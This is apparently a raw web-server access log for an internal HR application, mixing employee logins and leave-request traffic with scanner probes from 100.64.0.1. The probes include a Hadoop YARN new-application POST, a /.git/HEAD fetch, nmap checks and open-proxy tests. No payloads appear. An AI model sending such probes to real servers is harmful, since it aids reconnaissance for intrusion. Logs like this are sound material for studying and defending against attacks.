192.168.11.76 - - [06/Sep/2025:13:56:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:56:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.76 - - [06/Sep/2025:13:56:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:56:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.76 - - [06/Sep/2025:13:56:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.76 - - [06/Sep/2025:13:56:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.197 - - [06/Sep/2025:13:56:19 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9725869431078619 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:56:19 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9725869431078619 HTTP/1.1" 200 8456
192.168.11.197 - - [06/Sep/2025:13:56:41 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9725869431078619 HTTP/1.1" 200 10633 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9725869431078619" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:56:41 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9725869431078619 HTTP/1.1" 200 10633
192.168.11.197 - - [06/Sep/2025:13:57:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:57:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201
100.64.0.1 - - [06/Sep/2025:14:05:41 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:14:05:41 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:14:05:51 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:14:05:51 +0800] "GET / HTTP/1.1" 200 439
192.168.11.197 - - [06/Sep/2025:14:21:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:14:21:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 302 -
192.168.11.197 - - [06/Sep/2025:14:21:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 302 -
192.168.11.197 - - [06/Sep/2025:14:21:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:14:21:27 +0800] "GET /eHR/ess HTTP/1.1" 301 241
192.168.11.197 - - [06/Sep/2025:14:21:27 +0800] "GET /eHR/ess HTTP/1.1" 301 241 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:14:21:27 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826
192.168.11.197 - - [06/Sep/2025:14:21:27 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:14:21:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:14:21:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.197 - - [06/Sep/2025:14:21:27 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826
192.168.11.197 - - [06/Sep/2025:14:21:27 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:14:21:30 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:14:21:30 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.197 - - [06/Sep/2025:14:21:35 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.197 - - [06/Sep/2025:14:21:35 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:14:21:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.197 - - [06/Sep/2025:14:21:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:14:21:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051
192.168.11.197 - - [06/Sep/2025:14:21:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:14:21:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 41079 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:14:21:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 41079
192.168.11.197 - - [06/Sep/2025:14:23:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE020&appdesc=%E6%89%B9%E9%87%8F%E5%88%A0%E9%99%A4%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 7395 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:14:23:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE020&appdesc=%E6%89%B9%E9%87%8F%E5%88%A0%E9%99%A4%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 7395
192.168.11.197 - - [06/Sep/2025:14:23:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12093 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:14:23:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12093
192.168.11.197 - - [06/Sep/2025:14:23:45 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
192.168.11.197 - - [06/Sep/2025:14:23:45 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:14:24:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=131021&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 26089 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:14:24:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=131021&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 26089
192.168.11.197 - - [06/Sep/2025:14:24:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:14:24:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051
192.168.11.197 - - [06/Sep/2025:14:24:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 31621 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:14:24:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 31621
192.168.11.197 - - [06/Sep/2025:14:25:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 4349
192.168.11.197 - - [06/Sep/2025:14:25:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 4349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:14:25:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051
192.168.11.197 - - [06/Sep/2025:14:25:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:14:25:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:14:25:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
100.64.0.1 - - [06/Sep/2025:14:26:34 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:14:26:34 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:14:27:41 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:14:27:41 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:14:33:17 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:14:33:17 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:14:33:23 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:14:33:23 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:14:55:21 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:14:55:21 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:14:55:59 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:14:55:59 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:15:05:32 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0"
100.64.0.1 - - [06/Sep/2025:15:05:32 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [06/Sep/2025:15:09:55 +0800] "GET http://ip-api.com/json/ HTTP/1.1" 404 203
100.64.0.1 - - [06/Sep/2025:15:09:55 +0800] "GET http://ip-api.com/json/ HTTP/1.1" 404 203 "-" "Go-http-client/1.1"
100.64.0.1 - - [06/Sep/2025:15:10:20 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:15:10:20 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:15:14:59 +0800] "\x03" 501 203
100.64.0.1 - - [06/Sep/2025:15:14:59 +0800] "\x03" 501 203 "-" "-"
100.64.0.1 - - [06/Sep/2025:15:17:59 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:15:17:59 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:15:22:29 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:15:22:29 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:15:34:18 +0800] "GET /stacks HTTP/1.1" 404 204 "-" "Mozilla/5.0 zgrab/0.x"
100.64.0.1 - - [06/Sep/2025:15:34:18 +0800] "GET /stacks HTTP/1.1" 404 204
100.64.0.1 - - [06/Sep/2025:15:39:16 +0800] "GET http://ip-api.com/json/ HTTP/1.1" 404 203
100.64.0.1 - - [06/Sep/2025:15:39:16 +0800] "GET http://ip-api.com/json/ HTTP/1.1" 404 203 "-" "Go-http-client/1.1"
100.64.0.1 - - [06/Sep/2025:15:41:48 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [06/Sep/2025:15:41:48 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.32.4"
100.64.0.1 - - [06/Sep/2025:15:47:37 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:15:47:37 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:15:47:55 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:15:47:55 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:15:48:40 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:15:48:40 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:15:49:36 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:15:49:36 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:15:58:58 +0800] "GET http://passport.baidu.com/ HTTP/1.1" 200 439 "-" "-"
100.64.0.1 - - [06/Sep/2025:15:58:58 +0800] "GET http://passport.baidu.com/ HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:16:12:04 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:16:12:04 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:16:13:04 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:16:13:04 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:16:26:21 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:16:26:21 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:16:28:14 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:16:28:14 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:16:35:55 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:16:35:55 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:16:37:55 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:16:37:55 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:17:02:07 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:17:02:07 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:17:02:57 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:17:02:57 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:17:05:40 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:17:05:40 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:17:09:40 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:17:09:40 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:17:23:21 +0800] "GET / HTTP/1.1" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
100.64.0.1 - - [06/Sep/2025:17:23:21 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:17:25:08 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:17:25:08 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:17:26:17 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:17:26:17 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:17:45:59 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:17:45:59 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:17:47:43 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:17:47:43 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:17:55:58 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:17:55:58 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:17:57:17 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [06/Sep/2025:17:57:17 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [06/Sep/2025:17:57:17 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [06/Sep/2025:17:57:17 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [06/Sep/2025:17:59:46 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:17:59:46 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:18:15:09 +0800] "GET / HTTP/1.1" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
100.64.0.1 - - [06/Sep/2025:18:15:09 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:18:21:54 +0800] "GET / HTTP/1.0" 200 439 "-" "-"
100.64.0.1 - - [06/Sep/2025:18:21:54 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [06/Sep/2025:18:22:32 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:18:22:32 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /.git/HEAD HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /.git/HEAD HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /nmaplowercheck1757154192 HTTP/1.1" 404 222 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /nmaplowercheck1757154192 HTTP/1.1" 404 222
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "POST /sdk HTTP/1.1" 404 201
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "POST /sdk HTTP/1.1" 404 201 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /base.asp HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /base.asp HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 200 439 "-" "curl/7.54.0"
